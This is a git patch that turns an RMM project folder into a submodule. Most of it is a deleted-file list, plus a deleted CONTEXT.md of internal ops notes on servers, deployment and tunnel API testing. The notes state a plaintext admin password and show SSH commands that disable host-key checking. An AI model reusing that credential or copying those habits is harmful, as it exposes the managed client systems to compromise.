From 4bf151ca7b3df40e32497543f4e7822b7cca4a2e Mon Sep 17 00:00:00 2001 From: Mike Swanson Date: Sat, 18 Apr 2026 17:21:44 -0700 Subject: [PATCH] refactor: convert guru-rmm to git submodule (gururmm Gitea repo) Removes the stale copy of gururmm source from claudetools tracking and replaces it with a submodule pointing to the live gururmm Gitea repo. Fixes context drift between session logs and actual codebase state. Co-Authored-By: Claude Sonnet 4.6 --- .gitmodules | 3 + projects/msp-tools/guru-rmm | 1 + projects/msp-tools/guru-rmm/CONTEXT.md | 383 -- .../guru-rmm/GURURMM_DOCUMENTATION.md | 606 --- projects/msp-tools/guru-rmm/ROADMAP.md | 251 - .../guru-rmm/agent-legacy/GuruRMM-Agent.ps1 | 588 --- .../guru-rmm/agent-legacy/Install-GuruRMM.ps1 | 206 - .../agent-legacy/Uninstall-GuruRMM.ps1 | 56 - .../guru-rmm/agent/.cargo/config.toml | 11 - .../guru-rmm/agent/CLAUDE_INTEGRATION.md | 296 -- projects/msp-tools/guru-rmm/agent/Cargo.toml | 97 - .../msp-tools/guru-rmm/agent/MACOS_BUILD.md | 256 - .../guru-rmm/agent/agent.toml.example | 77 - .../msp-tools/guru-rmm/agent/build-macos.sh | 70 - .../agent/deploy/glaztech-slc/agent.toml | 42 - .../agent/deploy/glaztech-slc/install.ps1 | 199 - .../agent/deploy/glaztech-slc/uninstall.ps1 | 84 - .../guru-rmm/agent/scripts/install.sh | 233 - .../msp-tools/guru-rmm/agent/src/claude.rs | 452 -- .../guru-rmm/agent/src/commands/mod.rs | 11 - .../msp-tools/guru-rmm/agent/src/config.rs | 290 - .../msp-tools/guru-rmm/agent/src/device_id.rs | 213 - projects/msp-tools/guru-rmm/agent/src/main.rs | 704 --- .../guru-rmm/agent/src/metrics/mod.rs | 605 --- .../msp-tools/guru-rmm/agent/src/service.rs | 777 --- .../guru-rmm/agent/src/transport/mod.rs | 353 -- .../guru-rmm/agent/src/transport/websocket.rs | 599 --- .../guru-rmm/agent/src/tunnel/mod.rs | 276 - .../guru-rmm/agent/src/updater/mod.rs | 688 --- .../guru-rmm/agent/src/watchdog/mod.rs | 40 - .../guru-rmm/agent/test_claude_integration.md | 414 -- .../msp-tools/guru-rmm/dashboard/.gitignore | 24 - .../msp-tools/guru-rmm/dashboard/Dockerfile | 33 - .../msp-tools/guru-rmm/dashboard/README.md | 73 - .../guru-rmm/dashboard/eslint.config.js | 23 - .../msp-tools/guru-rmm/dashboard/index.html | 13 - .../msp-tools/guru-rmm/dashboard/nginx.conf | 35 - .../guru-rmm/dashboard/package-lock.json | 4700 ----------------- .../msp-tools/guru-rmm/dashboard/package.json | 41 - .../guru-rmm/dashboard/public/vite.svg | 1 - .../msp-tools/guru-rmm/dashboard/src/App.tsx | 161 - .../guru-rmm/dashboard/src/api/client.ts | 250 - .../guru-rmm/dashboard/src/assets/react.svg | 1 - .../dashboard/src/components/Button.tsx | 78 - .../dashboard/src/components/Card.tsx | 141 - .../dashboard/src/components/Input.tsx | 109 - .../dashboard/src/components/Layout.tsx | 291 - .../guru-rmm/dashboard/src/hooks/useAuth.tsx | 71 - .../guru-rmm/dashboard/src/index.css | 1333 ----- .../guru-rmm/dashboard/src/lib/utils.ts | 6 - .../msp-tools/guru-rmm/dashboard/src/main.tsx | 10 - .../dashboard/src/pages/AgentDetail.tsx | 449 -- .../guru-rmm/dashboard/src/pages/Agents.tsx | 437 -- .../guru-rmm/dashboard/src/pages/Clients.tsx | 316 -- .../dashboard/src/pages/Dashboard.tsx | 469 -- .../guru-rmm/dashboard/src/pages/History.tsx | 445 -- .../guru-rmm/dashboard/src/pages/Login.tsx | 232 - .../guru-rmm/dashboard/src/pages/Register.tsx | 134 - .../guru-rmm/dashboard/src/pages/Settings.tsx | 96 - .../guru-rmm/dashboard/src/pages/Sites.tsx | 470 -- .../guru-rmm/dashboard/tsconfig.app.json | 28 - .../guru-rmm/dashboard/tsconfig.json | 7 - .../guru-rmm/dashboard/tsconfig.node.json | 26 - .../guru-rmm/dashboard/vite.config.ts | 8 - .../guru-rmm/deploy/jupiter/.env.example | 29 - .../deploy/jupiter/docker-compose.yml | 80 - .../msp-tools/guru-rmm/deploy_agent_chunks.py | 67 - .../guru-rmm/deploy_via_textchunks.py | 88 - .../msp-tools/guru-rmm/docker-compose.yml | 66 - .../guru-rmm/docs/FEATURE_ROADMAP.md | 653 --- .../guru-rmm/docs/REMEDIATION_PLAN.md | 1276 ----- projects/msp-tools/guru-rmm/download_agent.py | 35 - .../msp-tools/guru-rmm/installer/.gitignore | 5 - .../msp-tools/guru-rmm/installer/README.md | 97 - .../guru-rmm/installer/build-msi.ps1 | 75 - .../msp-tools/guru-rmm/installer/gururmm.wxs | 58 - .../plans/real-time-tunnel-architecture.md | 674 --- .../plans/tunnel-api-phase1-test-results.md | 172 - .../tunnel-phase1-agent-implementation.md | 319 -- projects/msp-tools/guru-rmm/scp_agent.py | 46 - .../Screenshot 2025-12-15 121257.png | Bin 91472 -> 0 bytes .../Screenshot 2025-12-15 122401.png | Bin 142747 -> 0 bytes .../Screenshot 2025-12-15 122501.png | Bin 55811 -> 0 bytes .../guru-rmm/scripts/build-and-push.sh | 101 - projects/msp-tools/guru-rmm/server/Cargo.toml | 76 - projects/msp-tools/guru-rmm/server/Dockerfile | 69 - .../server/TUNNEL_AGENT_PROTOCOL_UPDATE.md | 435 -- .../guru-rmm/server/TUNNEL_FIXES_APPLIED.md | 329 -- .../server/TUNNEL_PROTOCOL_REFERENCE.md | 297 -- .../server/migrations/001_initial.sql | 122 - .../server/migrations/002_clients_sites.sql | 100 - .../migrations/003_extended_metrics.sql | 34 - .../server/migrations/004_agent_updates.sql | 30 - .../migrations/005_temperature_metrics.sql | 2 - .../server/migrations/006_policies.sql | 2 - .../server/migrations/007_authorization.sql | 2 - .../migrations/008_site_api_key_plaintext.sql | 2 - .../migrations/009_add_missing_indexes.sql | 26 - .../server/migrations/010_tunnel_sessions.sql | 45 - .../guru-rmm/server/src/api/agents.rs | 360 -- .../msp-tools/guru-rmm/server/src/api/auth.rs | 152 - .../guru-rmm/server/src/api/clients.rs | 168 - .../guru-rmm/server/src/api/commands.rs | 259 - .../guru-rmm/server/src/api/metrics.rs | 70 - .../msp-tools/guru-rmm/server/src/api/mod.rs | 71 - .../guru-rmm/server/src/api/sites.rs | 280 - .../guru-rmm/server/src/api/tunnel.rs | 231 - .../msp-tools/guru-rmm/server/src/auth/mod.rs | 161 - .../msp-tools/guru-rmm/server/src/config.rs | 161 - .../guru-rmm/server/src/db/agents.rs | 375 -- .../guru-rmm/server/src/db/clients.rs | 157 - .../guru-rmm/server/src/db/commands.rs | 185 - .../guru-rmm/server/src/db/metrics.rs | 284 - .../msp-tools/guru-rmm/server/src/db/mod.rs | 21 - .../msp-tools/guru-rmm/server/src/db/sites.rs | 264 - .../guru-rmm/server/src/db/tunnel.rs | 151 - .../guru-rmm/server/src/db/updates.rs | 217 - .../msp-tools/guru-rmm/server/src/db/users.rs | 177 - .../msp-tools/guru-rmm/server/src/main.rs | 179 - .../guru-rmm/server/src/updates/mod.rs | 10 - .../guru-rmm/server/src/updates/scanner.rs | 311 -- .../msp-tools/guru-rmm/server/src/ws/mod.rs | 875 --- .../2025-12-15-build-server-setup.md | 187 - .../session-logs/2026-01-21-session.md | 283 - .../session-logs/2026-04-01-session.md | 306 -- .../session-logs/2026-04-02-session.md | 101 - .../session-logs/2026-04-14-session.md | 385 -- .../session-logs/2026-04-15-session.md | 162 - .../session-logs/2026-04-16-session.md | 359 -- .../attestation-letter.html | 585 -- .../guru-rmm/signing-attestation/mikesig.jpg | Bin 115373 -> 0 bytes .../guru-rmm/signing-attestation/mikesig.png | Bin 132513 -> 0 bytes ...rurmm-agent-windows-amd64-0.6.0.exe.sha256 | 1 - .../signing-config/build-agents.sh | 68 - .../signing-config/metadata.json | 5 - .../signing-config/sign-windows.sh | 26 - .../signing-config/sign.ps1 | 48 - projects/msp-tools/guru-rmm/swap_agent.py | 80 - 138 files changed, 4 insertions(+), 32515 deletions(-) create mode 100644 .gitmodules create mode 160000 projects/msp-tools/guru-rmm delete mode 100644 projects/msp-tools/guru-rmm/CONTEXT.md delete mode 100644 projects/msp-tools/guru-rmm/GURURMM_DOCUMENTATION.md delete mode 100644 projects/msp-tools/guru-rmm/ROADMAP.md delete mode 100644 projects/msp-tools/guru-rmm/agent-legacy/GuruRMM-Agent.ps1 delete mode 100644 projects/msp-tools/guru-rmm/agent-legacy/Install-GuruRMM.ps1 delete mode 100644 projects/msp-tools/guru-rmm/agent-legacy/Uninstall-GuruRMM.ps1 delete mode 100644 projects/msp-tools/guru-rmm/agent/.cargo/config.toml delete mode 100644 projects/msp-tools/guru-rmm/agent/CLAUDE_INTEGRATION.md delete mode 100644 projects/msp-tools/guru-rmm/agent/Cargo.toml delete mode 100644 projects/msp-tools/guru-rmm/agent/MACOS_BUILD.md delete mode 100644 projects/msp-tools/guru-rmm/agent/agent.toml.example delete mode 100755 projects/msp-tools/guru-rmm/agent/build-macos.sh delete mode 100644 projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/agent.toml delete mode 100644 projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/install.ps1 delete mode 100644 projects/msp-tools/guru-rmm/agent/deploy/glaztech-slc/uninstall.ps1 delete mode 100644 projects/msp-tools/guru-rmm/agent/scripts/install.sh delete mode 100644 projects/msp-tools/guru-rmm/agent/src/claude.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/commands/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/config.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/device_id.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/main.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/metrics/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/service.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/transport/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/transport/websocket.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/tunnel/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/updater/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/src/watchdog/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/agent/test_claude_integration.md delete mode 100644 projects/msp-tools/guru-rmm/dashboard/.gitignore delete mode 100644 projects/msp-tools/guru-rmm/dashboard/Dockerfile delete mode 100644 projects/msp-tools/guru-rmm/dashboard/README.md delete mode 100644 projects/msp-tools/guru-rmm/dashboard/eslint.config.js delete mode 100644 projects/msp-tools/guru-rmm/dashboard/index.html delete mode 100644 projects/msp-tools/guru-rmm/dashboard/nginx.conf delete mode 100644 projects/msp-tools/guru-rmm/dashboard/package-lock.json delete mode 100644 projects/msp-tools/guru-rmm/dashboard/package.json delete mode 100644 projects/msp-tools/guru-rmm/dashboard/public/vite.svg delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/App.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/api/client.ts delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/assets/react.svg delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/components/Button.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/components/Card.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/components/Input.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/components/Layout.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/hooks/useAuth.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/index.css delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/lib/utils.ts delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/main.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/pages/AgentDetail.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/pages/Agents.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/pages/Clients.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/pages/Dashboard.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/pages/History.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/pages/Login.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/pages/Register.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/pages/Settings.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/src/pages/Sites.tsx delete mode 100644 projects/msp-tools/guru-rmm/dashboard/tsconfig.app.json delete mode 100644 projects/msp-tools/guru-rmm/dashboard/tsconfig.json delete mode 100644 projects/msp-tools/guru-rmm/dashboard/tsconfig.node.json delete mode 100644 projects/msp-tools/guru-rmm/dashboard/vite.config.ts delete mode 100644 projects/msp-tools/guru-rmm/deploy/jupiter/.env.example delete mode 100644 projects/msp-tools/guru-rmm/deploy/jupiter/docker-compose.yml delete mode 100644 projects/msp-tools/guru-rmm/deploy_agent_chunks.py delete mode 100644 projects/msp-tools/guru-rmm/deploy_via_textchunks.py delete mode 100644 projects/msp-tools/guru-rmm/docker-compose.yml delete mode 100644 projects/msp-tools/guru-rmm/docs/FEATURE_ROADMAP.md delete mode 100644 projects/msp-tools/guru-rmm/docs/REMEDIATION_PLAN.md delete mode 100644 projects/msp-tools/guru-rmm/download_agent.py delete mode 100644 projects/msp-tools/guru-rmm/installer/.gitignore delete mode 100644 projects/msp-tools/guru-rmm/installer/README.md delete mode 100644 projects/msp-tools/guru-rmm/installer/build-msi.ps1 delete mode 100644 projects/msp-tools/guru-rmm/installer/gururmm.wxs delete mode 100644 projects/msp-tools/guru-rmm/plans/real-time-tunnel-architecture.md delete mode 100644 projects/msp-tools/guru-rmm/plans/tunnel-api-phase1-test-results.md delete mode 100644 projects/msp-tools/guru-rmm/plans/tunnel-phase1-agent-implementation.md delete mode 100644 projects/msp-tools/guru-rmm/scp_agent.py delete mode 100644 projects/msp-tools/guru-rmm/screenshots/Screenshot 2025-12-15 121257.png delete mode 100644 projects/msp-tools/guru-rmm/screenshots/Screenshot 2025-12-15 122401.png delete mode 100644 projects/msp-tools/guru-rmm/screenshots/Screenshot 2025-12-15 122501.png delete mode 100644 projects/msp-tools/guru-rmm/scripts/build-and-push.sh delete mode 100644 projects/msp-tools/guru-rmm/server/Cargo.toml delete mode 100644 projects/msp-tools/guru-rmm/server/Dockerfile delete mode 100644 projects/msp-tools/guru-rmm/server/TUNNEL_AGENT_PROTOCOL_UPDATE.md delete mode 100644 projects/msp-tools/guru-rmm/server/TUNNEL_FIXES_APPLIED.md delete mode 100644 projects/msp-tools/guru-rmm/server/TUNNEL_PROTOCOL_REFERENCE.md delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/001_initial.sql delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/002_clients_sites.sql delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/003_extended_metrics.sql delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/004_agent_updates.sql delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/005_temperature_metrics.sql delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/006_policies.sql delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/007_authorization.sql delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/008_site_api_key_plaintext.sql delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/009_add_missing_indexes.sql delete mode 100644 projects/msp-tools/guru-rmm/server/migrations/010_tunnel_sessions.sql delete mode 100644 projects/msp-tools/guru-rmm/server/src/api/agents.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/api/auth.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/api/clients.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/api/commands.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/api/metrics.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/api/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/api/sites.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/api/tunnel.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/auth/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/config.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/db/agents.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/db/clients.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/db/commands.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/db/metrics.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/db/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/db/sites.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/db/tunnel.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/db/updates.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/db/users.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/main.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/updates/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/updates/scanner.rs delete mode 100644 projects/msp-tools/guru-rmm/server/src/ws/mod.rs delete mode 100644 projects/msp-tools/guru-rmm/session-logs/2025-12-15-build-server-setup.md delete mode 100644 projects/msp-tools/guru-rmm/session-logs/2026-01-21-session.md delete mode 100644 projects/msp-tools/guru-rmm/session-logs/2026-04-01-session.md delete mode 100644 projects/msp-tools/guru-rmm/session-logs/2026-04-02-session.md delete mode 100644 projects/msp-tools/guru-rmm/session-logs/2026-04-14-session.md delete mode 100644 projects/msp-tools/guru-rmm/session-logs/2026-04-15-session.md delete mode 100644 projects/msp-tools/guru-rmm/session-logs/2026-04-16-session.md delete mode 100644 projects/msp-tools/guru-rmm/signing-attestation/attestation-letter.html delete mode 100644 projects/msp-tools/guru-rmm/signing-attestation/mikesig.jpg delete mode 100644 projects/msp-tools/guru-rmm/signing-attestation/mikesig.png delete mode 100644 projects/msp-tools/guru-rmm/signing-attestation/signing-config/binaries/gururmm-agent-windows-amd64-0.6.0.exe.sha256 delete mode 100644 projects/msp-tools/guru-rmm/signing-attestation/signing-config/build-agents.sh delete mode 100644 projects/msp-tools/guru-rmm/signing-attestation/signing-config/metadata.json delete mode 100644 projects/msp-tools/guru-rmm/signing-attestation/signing-config/sign-windows.sh delete mode 100644 projects/msp-tools/guru-rmm/signing-attestation/signing-config/sign.ps1 delete mode 100644 projects/msp-tools/guru-rmm/swap_agent.py diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..c82a9df --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "projects/msp-tools/guru-rmm"] + path = projects/msp-tools/guru-rmm + url = https://git.azcomputerguru.com/azcomputerguru/gururmm.git diff --git a/projects/msp-tools/guru-rmm b/projects/msp-tools/guru-rmm new file mode 160000 index 0000000..b5bc068 --- /dev/null +++ b/projects/msp-tools/guru-rmm @@ -0,0 +1 @@ +Subproject commit b5bc068880e3623c9f512da8b050f7a092a0e775 diff --git a/projects/msp-tools/guru-rmm/CONTEXT.md b/projects/msp-tools/guru-rmm/CONTEXT.md deleted file mode 100644 index 18a4ea4..0000000 --- a/projects/msp-tools/guru-rmm/CONTEXT.md +++ /dev/null @@ -1,383 +0,0 @@ -# GuruRMM - Project Context - -**Last Updated:** 2026-04-15 -**Status:** Active Development - Tunnel Phase 1 Verified Live; Phase 2 Unblocked - -## Quick Start - Infrastructure Overview - -| Component | Location | Access | -|-----------|----------|--------| -| **Production Server** | 172.16.3.30 (gururmm) | SSH: op://Infrastructure/GuruRMM Server/username | -| **Public API** | https://rmm-api.azcomputerguru.com | Via Cloudflare Tunnel | -| **Internal API** | http://172.16.3.30:3001 | Direct access | -| **Database** | PostgreSQL @ 172.16.3.30:5432/gururmm | op://Infrastructure/GuruRMM Server/PostgreSQL * | -| **Build Server** | Same host (gururmm-build) | Linux native builds only | -| **Agent Downloads** | /var/www/gururmm/downloads/ | Nginx on port 80 | -| **Gitea Repo** | git.azcomputerguru.com/azcomputerguru/gururmm | Active (NOT guru-rmm) | - -**All credentials:** `op read "op://Infrastructure/GuruRMM Server/[field]"` - -## Current State (READ THIS FIRST) - -### Version & Deployment -- **Server:** v0.6.0 (commit c7c8317) - deployed 2026-04-14 -- **Agent:** v0.6.0 (Linux + Windows builds) - deployed 2026-04-14 -- **Database:** Migrations 001-010 applied -- **Service Status:** gururmm-server.service running (PID 944198) - -### Active Work -- **Phase 1 Complete:** Tunnel infrastructure (REST API, WebSocket protocol, database schema, agent state machine) -- **Phase 2 Pending:** Channel implementation (Terminal, File, Registry, Service) -- **Phase 3 Not Started:** Production hardening (rate limiting, timeouts, metrics) - -### Agent Fleet Status (as of 2026-04-15 03:20 UTC) -- **Online:** 2/6 agents - - AD2 (Windows 10, v0.6.0) - ID: d28a1c90-47d7-448f-a287-197bc8892234 - - DESKTOP-0O8A1RL (Windows 11, v0.6.0) - ID: 0b2527cc-ab3f-49d9-9a06-bfd0b4a613a7 -- **Offline:** 4/6 agents - - SL-SERVER: **STUCK IN PENDING UPDATE** - requires manual service restart - -### Recent Session Logs (MUST READ BEFORE CONTINUING WORK) -- **2026-04-15:** End-to-end tunnel lifecycle verified via public API. Three actionable findings — `session-logs/2026-04-15-session.md` -- **2026-04-14:** Tunnel API testing, authentication fix - `session-logs/2026-04-14-session.md` -- **2026-04-02:** Tunnel implementation, update bug fixes - See git history -- **2026-04-01:** Cloudflare Tunnel configuration - See credentials.md - -### What To Do Next (priority order, revised 2026-04-15) - -**Architectural pivot:** multi-tenancy is now a core requirement (product going to MSP market). Logging split into three tiers (agent OS-native / client event pull / tunnel audit to DB). Detailed breakdown in ROADMAP.md (sections: Logging & Audit, Multi-tenancy, Tunnel Channels). - -1. **Fix `/api/v1/tunnel/status/{id}` 403 bug** — `server/src/db/tunnel.rs:94-103`. Small PR. Blocks Phase 2 integration tests. (Roadmap S8.) -2. **Agent self-logging via OS-native sinks** — Windows Event Log provider, Linux journald, macOS os_log. Ship before anything else touches Phase 2. (Roadmap L1.) -3. **Tech-side tunnel subscriber design** — browser needs a WS endpoint to receive tunnel data; `server/src/ws/mod.rs:808-825` currently discards `AgentMessage::TunnelData`. Decide pub-sub shape before implementing any channel. (Roadmap T5.) -4. **Multi-tenancy schema** — `tenant_id` on every table. Auth middleware filters by tenant. Do this before building more features because retroactive migration cost scales with schema size. (Roadmap M1-M2.) -5. **Terminal channel** — only after 1-4. `tokio::process::Command` in `agent/src/transport/websocket.rs:handle_tunnel_data()`. (Roadmap T1.) -6. **Client event pull (`client_events` table)** — 15-min delta + on-tunnel-open/close. Windows Get-WinEvent, Linux journalctl, macOS log show. (Roadmap L2-L4.) - -**Housekeeping:** -- Update 1Password `Infrastructure/GuruRMM Server/Admin Password` to `GuruRMM2025` (stored value is stale and fails login). -- Add agent file logging (`C:\ProgramData\GuruRMM\agent.log`) as bridge until OS-native sinks land — lets Phase 2 work proceed with visibility. - -## Anti-Patterns (DON'T DO THIS) - -❌ **DO NOT build on macOS** - Binaries won't run on Linux server. SSH to 172.16.3.30 and build natively. - -❌ **DO NOT query database directly** - Use Database Agent for ALL database operations (coordinator role). - -❌ **DO NOT point downloads URL to port 3001** - API server doesn't serve /downloads. Use nginx (port 80) or public URL. - -❌ **DO NOT hardcode credentials** - Always fetch from 1Password: `op read "op://Infrastructure/GuruRMM Server/..."` - -❌ **DO NOT create new password utilities** - Use `/tmp/hash_password` (already compiled): -```bash -/tmp/target/release/hash_password "password_here" -# Output: $argon2id$v=19$m=19456,t=2,p=1$...[97 chars] -``` - -❌ **DO NOT build in CloudeTools repo** - Active repo is `gururmm` on Gitea, not `guru-rmm`. - -❌ **DO NOT use emojis** - ASCII markers only: [OK], [ERROR], [WARNING], [SUCCESS], [INFO] - -❌ **DO NOT make breaking changes to `/api/v1/bootstrap/hello`** - This is the anchor that lets long-offline agents reconnect and self-upgrade. Input and output schemas are **additive-only forever**. An agent from v0.1 must be able to hit this endpoint in 2030 and get a meaningful response telling it how to update. Every other endpoint/message is free to evolve; this one is not. See ROADMAP.md V1-V10. - -❌ **DO NOT cross module boundaries by importing another module's internals** - The product is architected modularly (core + PSA + backups + syslog + ...). Modules own their schema namespace and never touch another module's tables. Cross-module communication goes through the event bus or that module's exposed API only. Core and modules are separate Rust crates by design; enforce via `use` restrictions. Breaking this discipline once poisons the whole architecture. See ROADMAP.md X1-X12. - -### Hierarchy Terminology (use these exact terms) - -| Tier | Term | DB | Meaning | -|---|---|---|---| -| 1 | Platform | — | The software author (us, GuruRMM) | -| 2 | Partner | `tenant_id` | An MSP — a paying customer of the Platform | -| 3 | Client | `client_id` | A Partner's customer | -| 4 | Site | `site_id` | A location within a Client (physical or logical) | -| 5 | Agent | `agent_id` | An endpoint at a Site | - -UI/API says "Partner"; DB column is `tenant_id`. Do not rename. Do not use "sub-tenant" or bare "customer". Full canonical definition + API path convention + event topic naming in ROADMAP.md Terminology section. - -## Where to Find Things - -### Codebase Structure -``` -projects/msp-tools/guru-rmm/ -├── server/ # Rust API server -│ ├── src/ -│ │ ├── api/ # REST endpoints -│ │ │ ├── tunnel.rs # Tunnel API (Phase 1 complete) -│ │ │ ├── agents.rs # Agent management -│ │ │ └── auth.rs # Login/JWT -│ │ ├── db/ # Database operations -│ │ │ ├── tunnel.rs # Tunnel queries -│ │ │ └── agents.rs # Agent queries -│ │ ├── ws/ # WebSocket protocol -│ │ │ └── mod.rs # ServerMessage/AgentMessage enums -│ │ └── auth/ # Password hashing (Argon2id) -│ └── migrations/ # Database schema (001-010) -│ └── 010_tunnel_sessions.sql # Tunnel tables (tech_sessions, tunnel_audit) -├── agent/ # Rust agent binary -│ ├── src/ -│ │ ├── tunnel/ # Tunnel manager (Phase 1 complete) -│ │ │ └── mod.rs # AgentMode state machine -│ │ ├── updater/ # Self-update system (v0.6.0 fixes applied) -│ │ └── transport/ # WebSocket client -│ └── Cargo.toml -├── session-logs/ # Work history (READ BEFORE STARTING) -└── ROADMAP.md # Feature roadmap -``` - -### Production Files on Server (172.16.3.30) -- **Binary:** /opt/gururmm/gururmm-server -- **Config:** /opt/gururmm/.env -- **Service:** systemctl status gururmm-server -- **Logs:** journalctl -u gururmm-server -n 100 -- **Downloads:** /var/www/gururmm/downloads/ (served by nginx) - -### Cloudflare Tunnel Config (Jupiter NAS) -- **Location:** /mnt/cache/appdata/cloudflared/config.yml -- **Hostname:** rmm-api.azcomputerguru.com -- **Target:** http://172.16.3.30 (nginx port 80, NOT API port 3001) -- **Container:** cloudflared (restart to apply changes) - -## Common Operations - -### Deploy Server Binary -```bash -# SSH to build server -SSH_USER=$(op read "op://Infrastructure/GuruRMM Server/username") -SSH_PASS=$(op read "op://Infrastructure/GuruRMM Server/password") -sshpass -p "${SSH_PASS}" ssh -o StrictHostKeyChecking=no ${SSH_USER}@172.16.3.30 - -# Build on Linux (native) -cd /opt/gururmm/server -cargo build --release - -# Install -sudo systemctl stop gururmm-server -sudo cp target/release/gururmm-server /opt/gururmm/ -sudo systemctl start gururmm-server - -# Verify -systemctl status gururmm-server -curl http://localhost:3001/health # Should return "OK" -``` - -### Deploy Agent Binaries -```bash -# SSH to build server -ssh ${SSH_USER}@172.16.3.30 - -# Build Linux agent -cd /opt/gururmm/agent -cargo build --release --target x86_64-unknown-linux-gnu - -# Build Windows agent (cross-compile) -cargo build --release --target x86_64-pc-windows-gnu - -# Generate checksums -cd /var/www/gururmm/downloads/ -sha256sum gururmm-agent-linux-x64 > gururmm-agent-linux-x64.sha256 -sha256sum gururmm-agent-windows-x64.exe > gururmm-agent-windows-x64.exe.sha256 - -# Agents will auto-update on next heartbeat -``` - -### Test Tunnel API Endpoints -```bash -# Get JWT token -ADMIN_PASS=$(op read "op://Infrastructure/GuruRMM Server/Admin Password") -TOKEN=$(curl -s http://172.16.3.30:3001/api/auth/login \ - -H "Content-Type: application/json" \ - -d "{\"email\":\"admin@azcomputerguru.com\",\"password\":\"${ADMIN_PASS}\"}" | \ - python3 -c "import sys, json; print(json.load(sys.stdin)['token'])") - -# Open tunnel to AD2 -curl -s http://172.16.3.30:3001/api/v1/tunnel/open \ - -H "Authorization: Bearer ${TOKEN}" \ - -H "Content-Type: application/json" \ - -d '{"agent_id":"d28a1c90-47d7-448f-a287-197bc8892234"}' | jq '.' - -# Get status (save session_id from above) -curl -s http://172.16.3.30:3001/api/v1/tunnel/status/SESSION_ID \ - -H "Authorization: Bearer ${TOKEN}" | jq '.' - -# Close tunnel -curl -s http://172.16.3.30:3001/api/v1/tunnel/close \ - -H "Authorization: Bearer ${TOKEN}" \ - -H "Content-Type: application/json" \ - -d '{"session_id":"SESSION_ID"}' | jq '.' -``` - -**Full examples with output:** See session-logs/2026-04-14-session.md (lines 170-230) - -### Check Agent Status -```bash -# Get list of agents -curl -s http://172.16.3.30:3001/api/agents \ - -H "Authorization: Bearer ${TOKEN}" | jq '.' - -# Filter online agents only -curl -s http://172.16.3.30:3001/api/agents \ - -H "Authorization: Bearer ${TOKEN}" | \ - jq '[.[] | select(.status == "online") | {hostname, agent_version, last_seen}]' -``` - -### Database Operations (USE DATABASE AGENT) -```bash -# DO NOT query directly - delegate to Database Agent -# Agent will handle credentials and connection automatically - -# Example request to Database Agent: -# "Use Database Agent to query tech_sessions table for active tunnels" -``` - -### Access Database Manually (Emergency Only) -```bash -SSH_USER=$(op read "op://Infrastructure/GuruRMM Server/username") -SSH_PASS=$(op read "op://Infrastructure/GuruRMM Server/password") -PGPASS=$(op read "op://Infrastructure/GuruRMM Server/PostgreSQL Password") - -sshpass -p "${SSH_PASS}" ssh -o StrictHostKeyChecking=no ${SSH_USER}@172.16.3.30 \ - "PGPASSWORD='${PGPASS}' psql -h localhost -U gururmm -d gururmm" -``` - -## 